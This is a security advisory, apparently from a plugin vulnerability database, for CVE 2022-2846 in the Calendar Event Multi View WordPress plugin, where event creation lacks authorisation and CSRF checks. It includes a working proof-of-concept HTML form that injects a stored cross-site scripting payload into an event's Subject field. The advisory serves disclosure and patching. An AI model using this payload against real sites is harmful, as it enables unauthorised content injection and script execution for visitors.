Calendar Event Multi View < 1.4.07 – Unauthenticated Arbitrary Event Creation to Stored XSS | CVE 2022-2846

Description

The plugin does not have any authorisation and CSRF checks in place when creating an event, and is also lacking sanitisation as well as escaping in some of the event fields. This could allow unauthenticated attackers to create arbitrary events and put Cross-Site Scripting payloads in it.

Proof of Concept

As an unauthenticated user, to add a malicious event (on October 6th, 2022) to the calendar with ID 1, open the code below

<html>
  <body>
    <form action="https://example.com/?cpmvc_do_action=mvparse&f=datafeed&calid=1&month_index=0&method=adddetails" method="POST">
      <input type="hidden" name="Subject" value='"><script>alert(/XSS/)</script>' />
      <input type="hidden" name="colorvalue" value="#f00" />
      <input type="hidden" name="rrule" value="" />
      <input type="hidden" name="rruleType" value="" />
      <input type="hidden" name="stpartdate" value="10/6/2022" />
      <input type="hidden" name="stparttime" value="00:00" />
      <input type="hidden" name="etpartdate" value="10/6/2022" />
      <input type="hidden" name="etparttime" value="00:00" />
      <input type="hidden" name="stpartdatelast" value="10/6/2022" />
      <input type="hidden" name="etpartdatelast" value="10/6/2022" />
      <input type="hidden" name="stparttimelast" value="" />
      <input type="hidden" name="etparttimelast" value="" />
      <input type="hidden" name="IsAllDayEvent" value="1" />
      <input type="hidden" name="Location" value="CSRF" />
      <input type="hidden" name="Description" value='<p style="text-align: left;">CSRF</p>' />
      <input type="hidden" name="timezone" value="4.5" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The XSS will be triggered when viewing the related event